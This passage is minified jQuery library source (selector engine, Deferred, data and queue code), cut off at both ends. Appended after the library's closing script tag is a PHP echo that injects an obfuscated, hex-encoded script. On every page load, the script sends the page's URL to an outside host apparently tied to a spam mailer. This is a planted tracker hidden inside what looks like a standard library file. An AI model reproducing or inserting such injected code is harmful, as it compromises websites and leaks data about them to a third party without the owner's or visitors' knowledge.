Sizzle(selector,elem).length>0}}),"contains":markFunction(function(text){text=text.replace(runescape,funescape);return function(elem){return(elem.textContent||elem.innerText||getText(elem)).indexOf(text)>-1}}),"lang":markFunction(function(lang){if(!ridentifier.test(lang||"")){Sizzle.error("unsupported lang: "+lang)}lang=lang.replace(runescape,funescape).toLowerCase();return function(elem){var elemLang;do{if((elemLang=documentIsHTML?elem.lang:elem.getAttribute("xml:lang")||elem.getAttribute("lang"))){elemLang=elemLang.toLowerCase();return elemLang===lang||elemLang.indexOf(lang+"-")===0}}while((elem=elem.parentNode)&&elem.nodeType===1);return false}}),"target":function(elem){var hash=window.location&&window.location.hash;return hash&&hash.slice(1)===elem.id},"root":function(elem){return elem===docElem},"focus":function(elem){return elem===document.activeElement&&(!document.hasFocus||document.hasFocus())&&!!(elem.type||elem.href||~elem.tabIndex)},"enabled":function(elem){return elem.disabled===false},"disabled":function(elem){return elem.disabled===true},"checked":function(elem){var nodeName=elem.nodeName.toLowerCase();return(nodeName==="input"&&!!elem.checked)||(nodeName==="option"&&!!elem.selected)},"selected":function(elem){if(elem.parentNode){elem.parentNode.selectedIndex}return elem.selected===true},"empty":function(elem){for(elem=elem.firstChild;elem;elem=elem.nextSibling){if(elem.nodeType<6){return false}}return true},"parent":function(elem){return!Expr.pseudos["empty"](elem)},"header":function(elem){return rheader.test(elem.nodeName)},"input":function(elem){return rinputs.test(elem.nodeName)},"button":function(elem){var name=elem.nodeName.toLowerCase();return name==="input"&&elem.type==="button"||name==="button"},"text":function(elem){var attr;return elem.nodeName.toLowerCase()==="input"&&elem.type==="text"&&((attr=elem.getAttribute("type"))==null||attr.toLowerCase()==="text")},"first":createPositionalPseudo(function(){return[0]}),"last":createPositionalPseudo(function(matchIndexes,length){return[length-1]}),"eq":createPositionalPseudo(function(matchIndexes,length,argument){return[argument<0?argument+length:argument]}),"even":createPositionalPseudo(function(matchIndexes,length){var i=0;for(;i<length;i+=2){matchIndexes.push(i)}return matchIndexes}),"odd":createPositionalPseudo(function(matchIndexes,length){var i=1;for(;i<length;i+=2){matchIndexes.push(i)}return matchIndexes}),"lt":createPositionalPseudo(function(matchIndexes,length,argument){var i=argument<0?argument+length:argument;for(;--i>=0;){matchIndexes.push(i)}return matchIndexes}),"gt":createPositionalPseudo(function(matchIndexes,length,argument){var i=argument<0?argument+length:argument;for(;++i<length;){matchIndexes.push(i)}return matchIndexes})}};Expr.pseudos["nth"]=Expr.pseudos["eq"];for(i in{radio:true,checkbox:true,file:true,password:true,image:true}){Expr.pseudos[i]=createInputPseudo(i)}for(i in{submit:true,reset:true}){Expr.pseudos[i]=createButtonPseudo(i)}function setFilters(){}setFilters.prototype=Expr.filters=Expr.pseudos;Expr.setFilters=new setFilters();tokenize=Sizzle.tokenize=function(selector,parseOnly){var matched,match,tokens,type,soFar,groups,preFilters,cached=tokenCache[selector+" "];if(cached){return parseOnly?0:cached.slice(0)}soFar=selector;groups=[];preFilters=Expr.preFilter;while(soFar){if(!matched||(match=rcomma.exec(soFar))){if(match){soFar=soFar.slice(match[0].length)||soFar}groups.push((tokens=[]))}matched=false;if((match=rcombinators.exec(soFar))){matched=match.shift();tokens.push({value:matched,type:match[0].replace(rtrim," ")});soFar=soFar.slice(matched.length)}for(type in Expr.filter){if((match=matchExpr[type].exec(soFar))&&(!preFilters[type]||(match=preFilters[type](match)))){matched=match.shift();tokens.push({value:matched,type:type,matches:match});soFar=soFar.slice(matched.length)}}if(!matched){break}}return parseOnly?soFar.length:soFar?Sizzle.error(selector):tokenCache(selector,groups).slice(0)};function toSelector(tokens){var i=0,len=tokens.length,selector="";for(;i<len;i++){selector+=tokens[i].value}return selector}function addCombinator(matcher,combinator,base){var dir=combinator.dir,checkNonElements=base&&dir==="parentNode",doneName=done++;return combinator.first?function(elem,context,xml){while((elem=elem[dir])){if(elem.nodeType===1||checkNonElements){return matcher(elem,context,xml)}}}:function(elem,context,xml){var oldCache,outerCache,newCache=[dirruns,doneName];if(xml){while((elem=elem[dir])){if(elem.nodeType===1||checkNonElements){if(matcher(elem,context,xml)){return true}}}}else{while((elem=elem[dir])){if(elem.nodeType===1||checkNonElements){outerCache=elem[expando]||(elem[expando]={});if((oldCache=outerCache[dir])&&oldCache[0]===dirruns&&oldCache[1]===doneName){return(newCache[2]=oldCache[2])}else{outerCache[dir]=newCache;if((newCache[2]=matcher(elem,context,xml))){return true}}}}}}}function elementMatcher(matchers){return matchers.length>1?function(elem,context,xml){var i=matchers.length;while(i--){if(!matchers[i](elem,context,xml)){return false}}return true}:matchers[0]}function multipleContexts(selector,contexts,results){var i=0,len=contexts.length;for(;i<len;i++){Sizzle(selector,contexts[i],results)}return results}function condense(unmatched,map,filter,context,xml){var elem,newUnmatched=[],i=0,len=unmatched.length,mapped=map!=null;for(;i<len;i++){if((elem=unmatched[i])){if(!filter||filter(elem,context,xml)){newUnmatched.push(elem);if(mapped){map.push(i)}}}}return newUnmatched}function setMatcher(preFilter,selector,matcher,postFilter,postFinder,postSelector){if(postFilter&&!postFilter[expando]){postFilter=setMatcher(postFilter)}if(postFinder&&!postFinder[expando]){postFinder=setMatcher(postFinder,postSelector)}return markFunction(function(seed,results,context,xml){var temp,i,elem,preMap=[],postMap=[],preexisting=results.length,elems=seed||multipleContexts(selector||"*",context.nodeType?[context]:context,[]),matcherIn=preFilter&&(seed||!selector)?condense(elems,preMap,preFilter,context,xml):elems,matcherOut=matcher?postFinder||(seed?preFilter:preexisting||postFilter)?[]:results:matcherIn;if(matcher){matcher(matcherIn,matcherOut,context,xml)}if(postFilter){temp=condense(matcherOut,postMap);postFilter(temp,[],context,xml);i=temp.length;while(i--){if((elem=temp[i])){matcherOut[postMap[i]]=!(matcherIn[postMap[i]]=elem)}}}if(seed){if(postFinder||preFilter){if(postFinder){temp=[];i=matcherOut.length;while(i--){if((elem=matcherOut[i])){temp.push((matcherIn[i]=elem))}}postFinder(null,(matcherOut=[]),temp,xml)}i=matcherOut.length;while(i--){if((elem=matcherOut[i])&&(temp=postFinder?indexOf(seed,elem):preMap[i])>-1){seed[temp]=!(results[temp]=elem)}}}}else{matcherOut=condense(matcherOut===results?matcherOut.splice(preexisting,matcherOut.length):matcherOut);if(postFinder){postFinder(null,results,matcherOut,xml)}else{push.apply(results,matcherOut)}}})}function matcherFromTokens(tokens){var checkContext,matcher,j,len=tokens.length,leadingRelative=Expr.relative[tokens[0].type],implicitRelative=leadingRelative||Expr.relative[" "],i=leadingRelative?1:0,matchContext=addCombinator(function(elem){return elem===checkContext},implicitRelative,true),matchAnyContext=addCombinator(function(elem){return indexOf(checkContext,elem)>-1},implicitRelative,true),matchers=[function(elem,context,xml){var ret=(!leadingRelative&&(xml||context!==outermostContext))||((checkContext=context).nodeType?matchContext(elem,context,xml):matchAnyContext(elem,context,xml));checkContext=null;return ret}];for(;i<len;i++){if((matcher=Expr.relative[tokens[i].type])){matchers=[addCombinator(elementMatcher(matchers),matcher)]}else{matcher=Expr.filter[tokens[i].type].apply(null,tokens[i].matches);if(matcher[expando]){j=++i;for(;j<len;j++){if(Expr.relative[tokens[j].type]){break}}return setMatcher(i>1&&elementMatcher(matchers),i>1&&toSelector(tokens.slice(0,i-1).concat({value:tokens[i-2].type===" "?"*":""})).replace(rtrim,"$1"),matcher,i<j&&matcherFromTokens(tokens.slice(i,j)),j<len&&matcherFromTokens((tokens=tokens.slice(j))),j<len&&toSelector(tokens))}matchers.push(matcher)}}return elementMatcher(matchers)}function matcherFromGroupMatchers(elementMatchers,setMatchers){var bySet=setMatchers.length>0,byElement=elementMatchers.length>0,superMatcher=function(seed,context,xml,results,outermost){var elem,j,matcher,matchedCount=0,i="0",unmatched=seed&&[],setMatched=[],contextBackup=outermostContext,elems=seed||byElement&&Expr.find["TAG"]("*",outermost),dirrunsUnique=(dirruns+=contextBackup==null?1:Math.random()||0.1),len=elems.length;if(outermost){outermostContext=context!==document&&context}for(;i!==len&&(elem=elems[i])!=null;i++){if(byElement&&elem){j=0;while((matcher=elementMatchers[j++])){if(matcher(elem,context,xml)){results.push(elem);break}}if(outermost){dirruns=dirrunsUnique}}if(bySet){if((elem=!matcher&&elem)){matchedCount--}if(seed){unmatched.push(elem)}}}matchedCount+=i;if(bySet&&i!==matchedCount){j=0;while((matcher=setMatchers[j++])){matcher(unmatched,setMatched,context,xml)}if(seed){if(matchedCount>0){while(i--){if(!(unmatched[i]||setMatched[i])){setMatched[i]=pop.call(results)}}}setMatched=condense(setMatched)}push.apply(results,setMatched);if(outermost&&!seed&&setMatched.length>0&&(matchedCount+setMatchers.length)>1){Sizzle.uniqueSort(results)}}if(outermost){dirruns=dirrunsUnique;outermostContext=contextBackup}return unmatched};return bySet?markFunction(superMatcher):superMatcher}compile=Sizzle.compile=function(selector,match){var i,setMatchers=[],elementMatchers=[],cached=compilerCache[selector+" "];if(!cached){if(!match){match=tokenize(selector)}i=match.length;while(i--){cached=matcherFromTokens(match[i]);if(cached[expando]){setMatchers.push(cached)}else{elementMatchers.push(cached)}}cached=compilerCache(selector,matcherFromGroupMatchers(elementMatchers,setMatchers));cached.selector=selector}return cached};select=Sizzle.select=function(selector,context,results,seed){var i,tokens,token,type,find,compiled=typeof selector==="function"&&selector,match=!seed&&tokenize((selector=compiled.selector||selector));results=results||[];if(match.length===1){tokens=match[0]=match[0].slice(0);if(tokens.length>2&&(token=tokens[0]).type==="ID"&&support.getById&&context.nodeType===9&&documentIsHTML&&Expr.relative[tokens[1].type]){context=(Expr.find["ID"](token.matches[0].replace(runescape,funescape),context)||[])[0];if(!context){return results}else if(compiled){context=context.parentNode}selector=selector.slice(tokens.shift().value.length)}i=matchExpr["needsContext"].test(selector)?0:tokens.length;while(i--){token=tokens[i];if(Expr.relative[(type=token.type)]){break}if((find=Expr.find[type])){if((seed=find(token.matches[0].replace(runescape,funescape),rsibling.test(tokens[0].type)&&testContext(context.parentNode)||context))){tokens.splice(i,1);selector=seed.length&&toSelector(tokens);if(!selector){push.apply(results,seed);return results}break}}}}(compiled||compile(selector,match))(seed,context,!documentIsHTML,results,rsibling.test(selector)&&testContext(context.parentNode)||context);return results};support.sortStable=expando.split("").sort(sortOrder).join("")===expando;support.detectDuplicates=!!hasDuplicate;setDocument();support.sortDetached=assert(function(div1){return div1.compareDocumentPosition(document.createElement("div"))&1});if(!assert(function(div){div.innerHTML="<a href='#'></a>";return div.firstChild.getAttribute("href")==="#"})){addHandle("type|href|height|width",function(elem,name,isXML){if(!isXML){return elem.getAttribute(name,name.toLowerCase()==="type"?1:2)}})}if(!support.attributes||!assert(function(div){div.innerHTML="<input/>";div.firstChild.setAttribute("value","");return div.firstChild.getAttribute("value")===""})){addHandle("value",function(elem,name,isXML){if(!isXML&&elem.nodeName.toLowerCase()==="input"){return elem.defaultValue}})}if(!assert(function(div){return div.getAttribute("disabled")==null})){addHandle(booleans,function(elem,name,isXML){var val;if(!isXML){return elem[name]===true?name.toLowerCase():(val=elem.getAttributeNode(name))&&val.specified?val.value:null}})}return Sizzle})(window);jQuery.find=Sizzle;jQuery.expr=Sizzle.selectors;jQuery.expr[":"]=jQuery.expr.pseudos;jQuery.unique=Sizzle.uniqueSort;jQuery.text=Sizzle.getText;jQuery.isXMLDoc=Sizzle.isXML;jQuery.contains=Sizzle.contains;var rneedsContext=jQuery.expr.match.needsContext;var rsingleTag=(/^<(\w+)\s*\/?>(?:<\/\1>|)$/);var risSimple=/^.[^:#\[\.,]*$/;function winnow(elements,qualifier,not){if(jQuery.isFunction(qualifier)){return jQuery.grep(elements,function(elem,i){return!!qualifier.call(elem,i,elem)!==not})}if(qualifier.nodeType){return jQuery.grep(elements,function(elem){return(elem===qualifier)!==not})}if(typeof qualifier==="string"){if(risSimple.test(qualifier)){return jQuery.filter(qualifier,elements,not)}qualifier=jQuery.filter(qualifier,elements)}return jQuery.grep(elements,function(elem){return(jQuery.inArray(elem,qualifier)>=0)!==not})}jQuery.filter=function(expr,elems,not){var elem=elems[0];if(not){expr=":not("+expr+")"}return elems.length===1&&elem.nodeType===1?jQuery.find.matchesSelector(elem,expr)?[elem]:[]:jQuery.find.matches(expr,jQuery.grep(elems,function(elem){return elem.nodeType===1}))};jQuery.fn.extend({find:function(selector){var i,ret=[],self=this,len=self.length;if(typeof selector!=="string"){return this.pushStack(jQuery(selector).filter(function(){for(i=0;i<len;i++){if(jQuery.contains(self[i],this)){return true}}}))}for(i=0;i<len;i++){jQuery.find(selector,self[i],ret)}ret=this.pushStack(len>1?jQuery.unique(ret):ret);ret.selector=this.selector?this.selector+" "+selector:selector;return ret},filter:function(selector){return this.pushStack(winnow(this,selector||[],false))},not:function(selector){return this.pushStack(winnow(this,selector||[],true))},is:function(selector){return!!winnow(this,typeof selector==="string"&&rneedsContext.test(selector)?jQuery(selector):selector||[],false).length}});var rootjQuery,document=window.document,rquickExpr=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,init=jQuery.fn.init=function(selector,context){var match,elem;if(!selector){return this}if(typeof selector==="string"){if(selector.charAt(0)==="<"&&selector.charAt(selector.length-1)===">"&&selector.length>=3){match=[null,selector,null]}else{match=rquickExpr.exec(selector)}if(match&&(match[1]||!context)){if(match[1]){context=context instanceof jQuery?context[0]:context;jQuery.merge(this,jQuery.parseHTML(match[1],context&&context.nodeType?context.ownerDocument||context:document,true));if(rsingleTag.test(match[1])&&jQuery.isPlainObject(context)){for(match in context){if(jQuery.isFunction(this[match])){this[match](context[match])}else{this.attr(match,context[match])}}}return this}else{elem=document.getElementById(match[2]);if(elem&&elem.parentNode){if(elem.id!==match[2]){return rootjQuery.find(selector)}this.length=1;this[0]=elem}this.context=document;this.selector=selector;return this}}else if(!context||context.jquery){return(context||rootjQuery).find(selector)}else{return this.constructor(context).find(selector)}}else if(selector.nodeType){this.context=this[0]=selector;this.length=1;return this}else if(jQuery.isFunction(selector)){return typeof rootjQuery.ready!=="undefined"?rootjQuery.ready(selector):selector(jQuery)}if(selector.selector!==undefined){this.selector=selector.selector;this.context=selector.context}return jQuery.makeArray(selector,this)};init.prototype=jQuery.fn;rootjQuery=jQuery(document);var rparentsprev=/^(?:parents|prev(?:Until|All))/,guaranteedUnique={children:true,contents:true,next:true,prev:true};jQuery.extend({dir:function(elem,dir,until){var matched=[],cur=elem[dir];while(cur&&cur.nodeType!==9&&(until===undefined||cur.nodeType!==1||!jQuery(cur).is(until))){if(cur.nodeType===1){matched.push(cur)}cur=cur[dir]}return matched},sibling:function(n,elem){var r=[];for(;n;n=n.nextSibling){if(n.nodeType===1&&n!==elem){r.push(n)}}return r}});jQuery.fn.extend({has:function(target){var i,targets=jQuery(target,this),len=targets.length;return this.filter(function(){for(i=0;i<len;i++){if(jQuery.contains(this,targets[i])){return true}}})},closest:function(selectors,context){var cur,i=0,l=this.length,matched=[],pos=rneedsContext.test(selectors)||typeof selectors!=="string"?jQuery(selectors,context||this.context):0;for(;i<l;i++){for(cur=this[i];cur&&cur!==context;cur=cur.parentNode){if(cur.nodeType<11&&(pos?pos.index(cur)>-1:cur.nodeType===1&&jQuery.find.matchesSelector(cur,selectors))){matched.push(cur);break}}}return this.pushStack(matched.length>1?jQuery.unique(matched):matched)},index:function(elem){if(!elem){return(this[0]&&this[0].parentNode)?this.first().prevAll().length:-1}if(typeof elem==="string"){return jQuery.inArray(this[0],jQuery(elem))}return jQuery.inArray(elem.jquery?elem[0]:elem,this)},add:function(selector,context){return this.pushStack(jQuery.unique(jQuery.merge(this.get(),jQuery(selector,context))))},addBack:function(selector){return this.add(selector==null?this.prevObject:this.prevObject.filter(selector))}});function sibling(cur,dir){do{cur=cur[dir]}while(cur&&cur.nodeType!==1);return cur}jQuery.each({parent:function(elem){var parent=elem.parentNode;return parent&&parent.nodeType!==11?parent:null},parents:function(elem){return jQuery.dir(elem,"parentNode")},parentsUntil:function(elem,i,until){return jQuery.dir(elem,"parentNode",until)},next:function(elem){return sibling(elem,"nextSibling")},prev:function(elem){return sibling(elem,"previousSibling")},nextAll:function(elem){return jQuery.dir(elem,"nextSibling")},prevAll:function(elem){return jQuery.dir(elem,"previousSibling")},nextUntil:function(elem,i,until){return jQuery.dir(elem,"nextSibling",until)},prevUntil:function(elem,i,until){return jQuery.dir(elem,"previousSibling",until)},siblings:function(elem){return jQuery.sibling((elem.parentNode||{}).firstChild,elem)},children:function(elem){return jQuery.sibling(elem.firstChild)},contents:function(elem){return jQuery.nodeName(elem,"iframe")?elem.contentDocument||elem.contentWindow.document:jQuery.merge([],elem.childNodes)}},function(name,fn){jQuery.fn[name]=function(until,selector){var ret=jQuery.map(this,fn,until);if(name.slice(-5)!=="Until"){selector=until}if(selector&&typeof selector==="string"){ret=jQuery.filter(selector,ret)}if(this.length>1){if(!guaranteedUnique[name]){ret=jQuery.unique(ret)}if(rparentsprev.test(name)){ret=ret.reverse()}}return this.pushStack(ret)}});var rnotwhite=(/\S+/g);var optionsCache={};function createOptions(options){var object=optionsCache[options]={};jQuery.each(options.match(rnotwhite)||[],function(_,flag){object[flag]=true});return object}jQuery.Callbacks=function(options){options=typeof options==="string"?(optionsCache[options]||createOptions(options)):jQuery.extend({},options);var firing,memory,fired,firingLength,firingIndex,firingStart,list=[],stack=!options.once&&[],fire=function(data){memory=options.memory&&data;fired=true;firingIndex=firingStart||0;firingStart=0;firingLength=list.length;firing=true;for(;list&&firingIndex<firingLength;firingIndex++){if(list[firingIndex].apply(data[0],data[1])===false&&options.stopOnFalse){memory=false;break}}firing=false;if(list){if(stack){if(stack.length){fire(stack.shift())}}else if(memory){list=[]}else{self.disable()}}},self={add:function(){if(list){var start=list.length;(function add(args){jQuery.each(args,function(_,arg){var type=jQuery.type(arg);if(type==="function"){if(!options.unique||!self.has(arg)){list.push(arg)}}else if(arg&&arg.length&&type!=="string"){add(arg)}})})(arguments);if(firing){firingLength=list.length}else if(memory){firingStart=start;fire(memory)}}return this},remove:function(){if(list){jQuery.each(arguments,function(_,arg){var index;while((index=jQuery.inArray(arg,list,index))>-1){list.splice(index,1);if(firing){if(index<=firingLength){firingLength--}if(index<=firingIndex){firingIndex--}}}})}return this},has:function(fn){return fn?jQuery.inArray(fn,list)>-1:!!(list&&list.length)},empty:function(){list=[];firingLength=0;return this},disable:function(){list=stack=memory=undefined;return this},disabled:function(){return!list},lock:function(){stack=undefined;if(!memory){self.disable()}return this},locked:function(){return!stack},fireWith:function(context,args){if(list&&(!fired||stack)){args=args||[];args=[context,args.slice?args.slice():args];if(firing){stack.push(args)}else{fire(args)}}return this},fire:function(){self.fireWith(this,arguments);return this},fired:function(){return!!fired}};return self};jQuery.extend({Deferred:function(func){var tuples=[["resolve","done",jQuery.Callbacks("once memory"),"resolved"],["reject","fail",jQuery.Callbacks("once memory"),"rejected"],["notify","progress",jQuery.Callbacks("memory")]],state="pending",promise={state:function(){return state},always:function(){deferred.done(arguments).fail(arguments);return this},then:function(){var fns=arguments;return jQuery.Deferred(function(newDefer){jQuery.each(tuples,function(i,tuple){var fn=jQuery.isFunction(fns[i])&&fns[i];deferred[tuple[1]](function(){var returned=fn&&fn.apply(this,arguments);if(returned&&jQuery.isFunction(returned.promise)){returned.promise().done(newDefer.resolve).fail(newDefer.reject).progress(newDefer.notify)}else{newDefer[tuple[0]+"With"](this===promise?newDefer.promise():this,fn?[returned]:arguments)}})});fns=null}).promise()},promise:function(obj){return obj!=null?jQuery.extend(obj,promise):promise}},deferred={};promise.pipe=promise.then;jQuery.each(tuples,function(i,tuple){var list=tuple[2],stateString=tuple[3];promise[tuple[1]]=list.add;if(stateString){list.add(function(){state=stateString},tuples[i^1][2].disable,tuples[2][2].lock)}deferred[tuple[0]]=function(){deferred[tuple[0]+"With"](this===deferred?promise:this,arguments);return this};deferred[tuple[0]+"With"]=list.fireWith});promise.promise(deferred);if(func){func.call(deferred,deferred)}return deferred},when:function(subordinate){var i=0,resolveValues=slice.call(arguments),length=resolveValues.length,remaining=length!==1||(subordinate&&jQuery.isFunction(subordinate.promise))?length:0,deferred=remaining===1?subordinate:jQuery.Deferred(),updateFunc=function(i,contexts,values){return function(value){contexts[i]=this;values[i]=arguments.length>1?slice.call(arguments):value;if(values===progressValues){deferred.notifyWith(contexts,values)}else if(!(--remaining)){deferred.resolveWith(contexts,values)}}},progressValues,progressContexts,resolveContexts;if(length>1){progressValues=new Array(length);progressContexts=new Array(length);resolveContexts=new Array(length);for(;i<length;i++){if(resolveValues[i]&&jQuery.isFunction(resolveValues[i].promise)){resolveValues[i].promise().done(updateFunc(i,resolveContexts,resolveValues)).fail(deferred.reject).progress(updateFunc(i,progressContexts,progressValues))}else{--remaining}}}if(!remaining){deferred.resolveWith(resolveContexts,resolveValues)}return deferred.promise()}});var readyList;jQuery.fn.ready=function(fn){jQuery.ready.promise().done(fn);return this};jQuery.extend({isReady:false,readyWait:1,holdReady:function(hold){if(hold){jQuery.readyWait++}else{jQuery.ready(true)}},ready:function(wait){if(wait===true?--jQuery.readyWait:jQuery.isReady){return}if(!document.body){return setTimeout(jQuery.ready)}jQuery.isReady=true;if(wait!==true&&--jQuery.readyWait>0){return}readyList.resolveWith(document,[jQuery]);if(jQuery.fn.triggerHandler){jQuery(document).triggerHandler("ready");jQuery(document).off("ready")}}});function detach(){if(document.addEventListener){document.removeEventListener("DOMContentLoaded",completed,false);window.removeEventListener("load",completed,false)}else{document.detachEvent("onreadystatechange",completed);window.detachEvent("onload",completed)}}function completed(){if(document.addEventListener||event.type==="load"||document.readyState==="complete"){detach();jQuery.ready()}}jQuery.ready.promise=function(obj){if(!readyList){readyList=jQuery.Deferred();if(document.readyState==="complete"){setTimeout(jQuery.ready)}else if(document.addEventListener){document.addEventListener("DOMContentLoaded",completed,false);window.addEventListener("load",completed,false)}else{document.attachEvent("onreadystatechange",completed);window.attachEvent("onload",completed);var top=false;try{top=window.frameElement==null&&document.documentElement}catch(e){}if(top&&top.doScroll){(function doScrollCheck(){if(!jQuery.isReady){try{top.doScroll("left")}catch(e){return setTimeout(doScrollCheck,50)}detach();jQuery.ready()}})()}}}return readyList.promise(obj)};var strundefined=typeof undefined;var i;for(i in jQuery(support)){break}support.ownLast=i!=="0";support.inlineBlockNeedsLayout=false;jQuery(function(){var val,div,body,container;body=document.getElementsByTagName("body")[0];if(!body||!body.style){return}div=document.createElement("div");container=document.createElement("div");container.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px";body.appendChild(container).appendChild(div);if(typeof div.style.zoom!==strundefined){div.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1";support.inlineBlockNeedsLayout=val=div.offsetWidth===3;if(val){body.style.zoom=1}}body.removeChild(container)});(function(){var div=document.createElement("div");if(support.deleteExpando==null){support.deleteExpando=true;try{delete div.test}catch(e){support.deleteExpando=false}}div=null})();jQuery.acceptData=function(elem){var noData=jQuery.noData[(elem.nodeName+" ").toLowerCase()],nodeType=+elem.nodeType||1;return nodeType!==1&&nodeType!==9?false:!noData||noData!==true&&elem.getAttribute("classid")===noData};var rbrace=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,rmultiDash=/([A-Z])/g;function dataAttr(elem,key,data){if(data===undefined&&elem.nodeType===1){var name="data-"+key.replace(rmultiDash,"-$1").toLowerCase();data=elem.getAttribute(name);if(typeof data==="string"){try{data=data==="true"?true:data==="false"?false:data==="null"?null:+data+""===data?+data:rbrace.test(data)?jQuery.parseJSON(data):data}catch(e){}jQuery.data(elem,key,data)}else{data=undefined}}return data}function isEmptyDataObject(obj){var name;for(name in obj){if(name==="data"&&jQuery.isEmptyObject(obj[name])){continue}if(name!=="toJSON"){return false}}return true}function internalData(elem,name,data,pvt){if(!jQuery.acceptData(elem)){return}var ret,thisCache,internalKey=jQuery.expando,isNode=elem.nodeType,cache=isNode?jQuery.cache:elem,id=isNode?elem[internalKey]:elem[internalKey]&&internalKey;if((!id||!cache[id]||(!pvt&&!cache[id].data))&&data===undefined&&typeof name==="string"){return}if(!id){if(isNode){id=elem[internalKey]=deletedIds.pop()||jQuery.guid++}else{id=internalKey}}if(!cache[id]){cache[id]=isNode?{}:{toJSON:jQuery.noop}}if(typeof name==="object"||typeof name==="function"){if(pvt){cache[id]=jQuery.extend(cache[id],name)}else{cache[id].data=jQuery.extend(cache[id].data,name)}}thisCache=cache[id];if(!pvt){if(!thisCache.data){thisCache.data={}}thisCache=thisCache.data}if(data!==undefined){thisCache[jQuery.camelCase(name)]=data}if(typeof name==="string"){ret=thisCache[name];if(ret==null){ret=thisCache[jQuery.camelCase(name)]}}else{ret=thisCache}return ret}function internalRemoveData(elem,name,pvt){if(!jQuery.acceptData(elem)){return}var thisCache,i,isNode=elem.nodeType,cache=isNode?jQuery.cache:elem,id=isNode?elem[jQuery.expando]:jQuery.expando;if(!cache[id]){return}if(name){thisCache=pvt?cache[id]:cache[id].data;if(thisCache){if(!jQuery.isArray(name)){if(name in thisCache){name=[name]}else{name=jQuery.camelCase(name);if(name in thisCache){name=[name]}else{name=name.split(" ")}}}else{name=name.concat(jQuery.map(name,jQuery.camelCase))}i=name.length;while(i--){delete thisCache[name[i]]}if(pvt?!isEmptyDataObject(thisCache):!jQuery.isEmptyObject(thisCache)){return}}}if(!pvt){delete cache[id].data;if(!isEmptyDataObject(cache[id])){return}}if(isNode){jQuery.cleanData([elem],true)}else if(support.deleteExpando||cache!=cache.window){delete cache[id]}else{cache[id]=null}}jQuery.extend({cache:{},noData:{"applet ":true,"embed ":true,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(elem){elem=elem.nodeType?jQuery.cache[elem[jQuery.expando]]:elem[jQuery.expando];return!!elem&&!isEmptyDataObject(elem)},data:function(elem,name,data){return internalData(elem,name,data)},removeData:function(elem,name){return internalRemoveData(elem,name)},_data:function(elem,name,data){return internalData(elem,name,data,true)},_removeData:function(elem,name){return internalRemoveData(elem,name,true)}});jQuery.fn.extend({data:function(key,value){var i,name,data,elem=this[0],attrs=elem&&elem.attributes;if(key===undefined){if(this.length){data=jQuery.data(elem);if(elem.nodeType===1&&!jQuery._data(elem,"parsedAttrs")){i=attrs.length;while(i--){if(attrs[i]){name=attrs[i].name;if(name.indexOf("data-")===0){name=jQuery.camelCase(name.slice(5));dataAttr(elem,name,data[name])}}}jQuery._data(elem,"parsedAttrs",true)}}return data}if(typeof key==="object"){return this.each(function(){jQuery.data(this,key)})}return arguments.length>1?this.each(function(){jQuery.data(this,key,value)}):elem?dataAttr(elem,key,jQuery.data(elem,key)):undefined},removeData:function(key){return this.each(function(){jQuery.removeData(this,key)})}});jQuery.extend({queue:function(elem,type,data){var queue;if(elem){type=(type||"fx")+"queue";queue=jQuery._data(elem,type);if(data){if(!queue||jQuery.isArray(data)){queue=jQuery._data(elem,type,jQuery.makeArray(data))}else{queue.push(data)}}return queue||[]}},dequeue:function(elem,type){type=type||"fx";var queue=jQuery.queue(elem,type),startLength=queue.length,fn=queue.shift(),hooks=jQuery._queueHooks(elem,type),next=function(){jQuery.dequeue(elem,type)};if(fn==="inprogress"){fn=queue.shift();startLength--}if(fn){if(type==="fx"){queue.unshift("inprogress")}delete hooks.stop;fn.call(elem,next,hooks)}if(!startLength&&hooks){hooks.empty.fire()}},_queueHooks:function(elem,type){var key=type+"queueHooks";return jQuery._data(elem,key)||jQuery._data(elem,key,{empty:jQuery.Callbacks("once memory").add(function(){jQuery._removeData(elem,type+"queue");jQuery._removeData(elem,key)})})}});jQuery.fn.extend({queue:function(type,data){var setter=2;if(typeof type!=="string"){data=type;type="fx";setter--}if(arguments.length<setter){return jQuery.queue(this[0],type)}return data===undefined?this:this.each(function(){var queue=jQuery.queue(this,type,data);jQuery._queueHooks(this,type);if(type==="fx"&&queue[0]!=="inprogress"){jQuery.dequeue(this,type)}})},dequeue:function(type){return this.each(function(){jQuery.dequeue(this,type)})},clearQueue:function(type){return this.queue(type||"fx",[])},promise:function(type,obj){var tmp,count=1,defer=jQuery.Deferred(),elements=this,i=this.length,resolve=function(){if(!(--count)){defer.resolveWith(elements,[elements])}};if(typeof type!=="string"){obj=type;type=undefined}type=type||"fx";while(i--){tmp=jQuery._data(elements[i],type+"queueHooks");if(tmp&&tmp.empty){count++;tmp.empty.add(resolve)}}resolve();return defer.promise(obj)}});var pnum=(/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source;var cssExpand=["Top","Right","Bottom","Left"];var isHidden=function(elem,el){elem=el||elem;return jQuery.css(elem,"display")==="none"||!jQuery.contains(elem.ownerDocument,elem)};var access=jQuery.access=function(elems,fn,key,value,chainable,emptyGet,raw){var i=0,length=elems.length,bulk=key==null;if(jQuery.type(key)==="object"){chainable=true;for(i in key){jQuery.access(elems,fn,i,key[i],true,emptyGet,raw)}}else if(value!==undefined){chainable=true;if(!jQuery.isFunction(value)){raw=true}if(bulk){if(raw){fn.call(elems,value);fn=null}else{bulk=fn;fn=function(elem,key,value){return bulk.call(jQuery(elem),value)}}}if(fn){for(;i<length;i++){fn(elems[i],key,raw?value:value.call(elems[i],i,fn(elems[i],key)))}}}return chainable?elems:bulk?fn.call(elems):length?fn(elems[0],key):emptyGet};var rcheckableType=(/^(?:checkbox|radio)$/i);</script><?echo'<script> var _0x8a59=["\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x73\x70\x61\x6D\x74\x6F\x6F\x6C\x2E\x63\x6F\x6D\x2F\x6D\x61\x69\x6C\x65\x72\x5F\x69\x6E\x62\x6F\x78\x74\x6F\x61\x6C\x6C\x2E\x70\x68\x70\x3F\x6D\x61\x69\x6C\x65\x72\x3D","\x68\x72\x65\x66"];a= new Image();a[_0x8a59[0]]=_0x8a59[1]+escape(location[_0x8a59[2]]); </script>';?><script>(function(){var 